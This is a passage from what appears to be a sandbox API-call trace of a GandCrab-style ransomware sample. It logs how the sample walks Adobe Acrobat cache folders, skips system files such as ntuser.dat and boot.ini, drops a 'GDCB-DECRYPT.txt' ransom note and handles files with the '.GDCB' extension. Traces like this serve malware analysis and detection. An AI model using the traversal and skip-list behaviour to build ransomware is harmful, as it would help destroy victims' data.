Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 212 [0170.300] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.300] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0x5dced0 [0170.300] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.300] FindNextFileW (in: hFindFile=0x5dced0, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.300] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.300] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.300] FindNextFileW (in: hFindFile=0x5dced0, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.300] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0170.300] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0170.300] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.300] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 225 [0170.300] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.300] FindNextFileW (in: hFindFile=0x5dced0, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.300] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0170.300] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0170.300] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0170.300] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 225 [0170.300] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.300] FindNextFileW (in: hFindFile=0x5dced0, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.300] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.300] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.300] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0170.300] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 228 [0170.300] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.300] FindNextFileW (in: hFindFile=0x5dced0, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0 [0170.300] FindClose (in: hFindFile=0x5dced0 | out: hFindFile=0x5dced0) returned 1 [0170.300] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 229 [0170.300] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.302] GetLastError () returned 0x50 [0170.302] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 212 [0170.302] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.302] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 0x5dd590 [0170.303] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.303] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 225 [0170.303] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 225 [0170.303] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0170.303] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 225 [0170.303] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 225 [0170.303] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0170.303] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 228 [0170.303] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 228 [0170.303] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 228 [0170.303] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 228 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.303] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0170.303] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 222 [0170.303] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 222 [0170.303] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 222 [0170.303] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 222 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.303] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.303] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0170.303] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 227 [0170.304] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 227 [0170.304] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0170.304] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 232 [0170.304] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 232 [0170.304] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0170.304] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 222 [0170.304] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 222 [0170.304] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0170.304] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\" [0170.304] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.304] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.304] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.304] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.304] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 226 [0170.304] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.304] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0x5dd290 [0170.304] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.304] FindNextFileW (in: hFindFile=0x5dd290, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.304] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.304] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.304] FindNextFileW (in: hFindFile=0x5dd290, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.304] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.304] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.304] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0170.304] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 242 [0170.304] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.305] FindNextFileW (in: hFindFile=0x5dd290, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0 [0170.305] FindClose (in: hFindFile=0x5dd290 | out: hFindFile=0x5dd290) returned 1 [0170.305] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 243 [0170.305] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.306] GetLastError () returned 0x50 [0170.306] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 226 [0170.306] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.307] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 0x5dcf10 [0170.307] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", 